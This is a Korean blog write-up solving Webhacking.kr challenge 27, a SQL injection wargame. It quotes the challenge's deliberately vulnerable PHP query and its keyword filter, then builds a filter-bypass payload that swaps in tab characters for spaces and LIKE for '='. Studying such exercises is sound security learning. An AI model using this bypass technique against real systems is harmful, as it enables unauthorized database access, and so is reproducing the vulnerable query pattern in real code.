webhacing.kr 27(old)
webhacing.kr 27번 문제는 SQL injection와 관련된 문제로 보여집니다.
사이트에 들어가니 SQL INJECTION이라고 대문짝만 하게 써져있다.
SQL 인젝션이란
SQL명령어에 개입할 수 있는 문자를 넘겨줌으로써 , 임의의 행위를 수행하는 행위를 말한다.
한번 input에 아무런 문자나 삽입하여보자.
0도넣어보고 아무런 문자도 넣어보았다.
그와중에 1이란 숫자를 삽입하니
guest라는 문구가 나타난다.
한번 ‘라는 문자를 넣어보았다.
query error라는 문구가 나타난다.
한번 소스코드를 살펴보자
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
if($r['id']=="guest") echo("guest");
if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>
php코드를 살펴보니 입력한 값이 GET[NO] 안에 no안에 들어가 코드가 실행되는 것으로 보여진다
입력한 값을 가지고 preg_match가 실행되는 데 이 preg_match란
preg_match
첫 번째 인수 : 정규식 표현 작성.
두 번째 인수 : 검색 대상 문자열.
세 번째 인수 : 배열 변수 반환. 패턴 매치에서 매칭된 값을 배열로 저장.
반환값 : 매칭에 성공하면 1, 실패하면 0이 반환
출처: https://ponyozzang.tistory.com/176 [포뇨아빠]
즉 입력한 값중에 ("/#|select|\(| |limit|=|0x/I
가 있다면 0 이 리턴 되어 no hack이 나타나게 되는 것이다.
이 방식은 정규표현식을 공부하여 보는것이 좋을 것 같다.
select id from chall27 where id='guest' and no=({$_GET['no']})
입력한 값이 no=(안에 들어가 위에 문장이 서버로 보내지는 것을 알 수 있다.
주석을 살펴보니 admin은 2라는 값을 주면 된다고 나타나 있다.
한번 인젝션을 시도해보자.
주석에서 amdin은 2라고 했으므로
0) or no like 2을 입력해보려 했으니
공백도 필터링 되므로 공백을 %09로 변환하여보면
0)%09or%09no%09like%092 가 되고 주석처리와 함꼐 마지막엔 공백을 넣어주면
?no=0)%09or%09no%09like%092--%09라는 공격문이 완성된다.
이 공격문을 GET방식으로 넣어주면
webhacing.kr 27(old)성공~!
'웹해킹 > Webhacking.kr' 카테고리의 다른 글
Webhacking.kr 34번(old) 풀이 (0) | 2020.12.22 |
---|---|
Webhacking.kr 32번(old) 풀이 (0) | 2020.12.22 |
Webhacking.kr 26번(old) 풀이 (0) | 2020.06.01 |
Webhacking.kr 25번(old) 풀이 (0) | 2020.06.01 |
Webhacking.kr 24번(old) 풀이 (0) | 2020.05.31 |